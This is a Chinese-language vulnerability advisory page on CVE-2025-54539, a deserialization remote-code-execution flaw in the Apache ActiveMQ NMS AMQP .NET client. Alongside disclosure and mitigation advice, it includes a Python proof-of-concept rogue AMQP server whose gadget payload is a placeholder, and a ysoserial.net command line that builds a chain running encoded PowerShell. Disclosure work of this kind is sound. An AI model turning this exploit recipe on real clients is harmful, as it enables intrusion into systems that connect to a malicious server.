IPBUF安全漏洞报告
English
CVE-2025-54539 CVSS 9.8 严重

CVE-2025-54539 Apache ActiveMQ NMS AMQP反序列化漏洞

披露日期: 2025-10-16

漏洞信息

漏洞编号
CVE-2025-54539
漏洞类型
反序列化漏洞(远程代码执行)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Apache ActiveMQ NMS AMQP Client

相关标签

CVE-2025-54539反序列化漏洞远程代码执行ApacheActiveMQNMS AMQP.NETBinaryFormatterAMQP高危漏洞

漏洞概述

CVE-2025-54539是Apache ActiveMQ NMS AMQP Client中存在的一个高危反序列化漏洞,CVSS评分为9.8,属于严重级别。该漏洞源于客户端在连接到不受信任的AMQP服务器时,对服务器返回的数据执行了不受限制的反序列化操作。攻击者可以通过构造恶意的AMQP服务器响应,利用客户端中存在的无限反序列化逻辑,在客户端侧执行任意代码,从而完全控制受害者的系统。

值得注意的是,尽管Apache ActiveMQ NMS AMQP在2.1.0版本中引入了基于允许/拒绝列表(allow/deny lists)的反序列化限制机制,但该保护机制在特定条件下被发现是可绕过的,因此并未能有效阻止攻击。考虑到Microsoft在.NET 9中已经弃用了二进制序列化功能,Apache项目正在评估在未来版本中彻底移除NMS API中的.NET二进制序列化支持。

该漏洞的披露者为[email protected],披露日期为2025年10月16日。由于该漏洞攻击向量为网络(AV:N),无需认证(PR:N),无需用户交互(UI:N),且对机密性、完整性和可用性均产生高影响(C:H/I:H/A:H),因此具有极高的危害性。一旦有恶意的AMQP服务器部署在网络中,连接到该服务器的客户端将面临直接被入侵的风险。

技术细节

该漏洞的核心问题在于Apache ActiveMQ NMS AMQP Client在处理来自AMQP服务器的响应数据时,使用了.NET的BinaryFormatter进行反序列化操作,而BinaryFormatter本身存在已知的反序列化漏洞风险。

技术原理:
1. AMQP(Advanced Message Queuing Protocol)是一种消息队列协议,NMS AMQP Client作为客户端库,用于建立与AMQP服务器的连接。
2. 当客户端连接到AMQP服务器并接收服务器返回的响应时,客户端会尝试对这些数据进行反序列化处理。
3. 由于缺乏对反序列化类型的有效限制,攻击者可以在服务器响应中嵌入恶意的序列化对象(如使用ysoserial.net等工具生成的gadget链)。
4. 当客户端对包含恶意payload的数据执行反序列化时,将触发任意代码执行。

绕过机制:
虽然2.1.0版本引入了allow/deny列表机制来限制可反序列化的类型,但该机制存在缺陷。攻击者可以通过以下方式绕过:
- 使用列表中允许的合法类型作为gadget链的一部分;
- 利用类型混淆或继承链绕过类型检查;
- 利用嵌套序列化结构隐藏恶意payload。

利用方式:
1. 攻击者部署一个恶意的AMQP服务器;
2. 诱使目标客户端(使用NMS AMQP Client的应用)连接到该恶意服务器;
3. 恶意服务器在响应中注入精心构造的序列化数据;
4. 客户端反序列化时执行恶意代码,攻击者获得代码执行权限。

攻击链分析

STEP 1
步骤1:部署恶意AMQP服务器
攻击者部署一个伪装成正常AMQP服务器的恶意服务器,该服务器配置了利用CVE-2025-54539漏洞的payload。攻击者可以通过多种方式诱导受害者连接,如DNS劫持、中间人攻击、配置错误的连接地址等。
STEP 2
步骤2:诱导客户端连接
受害者使用Apache ActiveMQ NMS AMQP Client(<=2.3.0版本)发起与恶意AMQP服务器的连接请求。客户端无需任何认证或用户交互即可建立连接。
STEP 3
步骤3:发送恶意序列化数据
恶意AMQP服务器在协议握手和后续通信过程中,向客户端发送包含精心构造的.NET BinaryFormatter序列化对象的响应数据。这些数据中嵌入了利用gadget链(如TypeConfuseDelegate、ObjectDataProvider等)构造的恶意payload。
STEP 4
步骤4:触发反序列化漏洞
NMS AMQP客户端接收到恶意响应后,在反序列化处理过程中未能有效限制反序列化的类型,触发了任意代码执行漏洞。尽管2.1.0版本引入了allow/deny列表机制,但该机制可被绕过。
STEP 5
步骤5:获取代码执行权限
恶意代码在客户端进程中执行,攻击者获得与NMS AMQP客户端进程相同的权限,可以执行任意命令、窃取敏感数据、安装后门或进行横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-54539 PoC - Apache ActiveMQ NMS AMQP Deserialization RCE # This PoC demonstrates the exploitation of the deserialization vulnerability # in Apache ActiveMQ NMS AMQP Client <= 2.3.0 import socket import struct import sys # AMQP Protocol Header (simplified) AMQP_HEADER = b'AMQP\x00\x01\x00\x00' def create_malicious_response(payload): """ Create a malicious AMQP response containing a .NET deserialization payload. The payload should be a BinaryFormatter serialized object with a gadget chain that leads to RCE (e.g., using ysoserial.net generated payload). """ # AMQP frame structure: frame-type, channel, size, payload, end-marker frame_type = 0x01 # Method frame channel = 0x00 # Construct AMQP method frame with malicious serialized data method_payload = payload frame_size = len(method_payload) + 4 # including class-id and method-id frame = struct.pack('>BHI', frame_type, channel, frame_size) frame += method_payload frame += b'\xCE' # frame end marker return frame def generate_gadget_payload(command): """ Generate a .NET deserialization gadget chain payload. In a real exploit, use ysoserial.net to generate this: ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "<command>" """ # Placeholder for actual .NET BinaryFormatter gadget chain # Replace with actual payload generated by ysoserial.net # Example: TypeConfuseDelegate, ObjectDataProvider, WindowsClaimsIdentity, etc. placeholder_payload = b'\\x00\\x01\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x01\\x00\\x00\\x00' return placeholder_payload def run_malicious_server(host='0.0.0.0', port=5672, command='calc.exe'): """ Run a fake malicious AMQP server that exploits CVE-2025-54539. """ server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server_socket.bind((host, port)) server_socket.listen(1) print(f"[*] Malicious AMQP server listening on {host}:{port}") print(f"[*] Command to execute: {command}") while True: client_socket, addr = server_socket.accept() print(f"[+] Client connected from {addr}") # Send AMQP protocol header client_socket.send(AMQP_HEADER) # Receive client's connection.start data = client_socket.recv(4096) print(f"[*] Received client data: {len(data)} bytes") # Send malicious response with deserialization payload gadget = generate_gadget_payload(command) malicious_frame = create_malicious_response(gadget) client_socket.send(malicious_frame) print(f"[+] Sent malicious payload ({len(malicious_frame)} bytes)") print(f"[+] Exploit delivered! Check target for code execution.") client_socket.close() if __name__ == '__main__': cmd = sys.argv[1] if len(sys.argv) > 1 else 'calc.exe' run_malicious_server(command=cmd) # Usage: # 1. Generate actual payload with ysoserial.net: # ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "powershell -enc <base64_payload>" # 2. Replace placeholder_payload with the generated BinaryFormatter payload # 3. Run this script to start the malicious AMQP server # 4. Wait for vulnerable NMS AMQP Client to connect # 5. Code execution achieved on client side

影响范围

Apache ActiveMQ NMS AMQP Client <= 2.3.0
Apache ActiveMQ NMS AMQP Client 2.1.0(allow/deny列表机制可被绕过)

防御指南

临时缓解措施
在无法立即升级到2.4.0版本的情况下,建议采取以下临时缓解措施:1)确保NMS AMQP客户端仅连接到经过验证的可信AMQP服务器,避免连接到不受信任的网络;2)实施严格的网络访问控制,限制客户端只能与已知合法的AMQP服务器通信;3)使用防火墙规则阻止来自未知源的AMQP连接(默认端口5672/5671);4)监控AMQP流量中的异常模式;5)在应用层实施额外的输入验证;6)考虑使用.NET的SerializationBinder自定义类型限制作为临时防护层;7)尽快制定升级到2.4.0版本的计划。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表